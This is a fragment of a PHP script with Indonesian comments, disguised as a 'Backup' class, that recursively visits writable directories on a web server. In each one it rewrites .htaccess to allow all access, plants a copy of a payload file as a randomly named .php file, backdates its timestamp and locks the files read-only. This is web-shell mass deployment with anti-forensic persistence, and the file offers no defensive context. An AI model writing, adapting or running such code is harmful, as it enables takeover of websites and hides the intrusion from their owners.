recursive_directory($sc);
}
}
if (!$isDirectory && is_writable($dir)) {
$random_name = mt_rand();
$htaccessPath = $dir . "/.htaccess";
// Pastikan file .htaccess ada atau buat file baru jika tidak ada
if (!file_exists($htaccessPath)) {
file_put_contents($htaccessPath, '');
}
// Ubah izin file .htaccess jika tidak dapat ditulis
if (!is_writable($htaccessPath)) {
chmod($htaccessPath, 0644);
}
// Aturan .htaccess yang dimasukkan
$ht = '
Order allow,deny
Allow from all
'
;
// Tulis ke file .htaccess
$htaccessFile = fopen($htaccessPath, "w");
if ($htaccessFile) {
fwrite($htaccessFile, $ht);
fclose($htaccessFile);
}
// Cek apakah file "memek.txt" ada
$contentFilePath = "memek.txt";
if (file_exists($contentFilePath)) {
$content = file_get_contents($contentFilePath);
file_put_contents($dir . "/" . $random_name, $content);
rename($dir . "/" . $random_name, $dir . "/" . $random_name . ".php");
touch($dir . "/" . $random_name, strtotime('2022-01-14 06:30:55'));
chmod($dir . "/" . $random_name, 0444);
chmod($htaccessPath, 0444);
echo "Success Backup : " . $dir . "/" . $random_name . ".php
";
} else {
echo "File 'memek.txt' tidak ditemukan.
";
}
}
}
}
if (isset($_GET['path'])) {
$path = filter_input(INPUT_GET, 'path', FILTER_SANITIZE_STRING);
if ($path && is_dir($path)) {
$instance = new Backup();
$instance->recursive_directory($path);
} else {
echo "Path tidak valid atau tidak ditemukan.
";
}
} else {
echo "Path tidak diset.
";
}
?>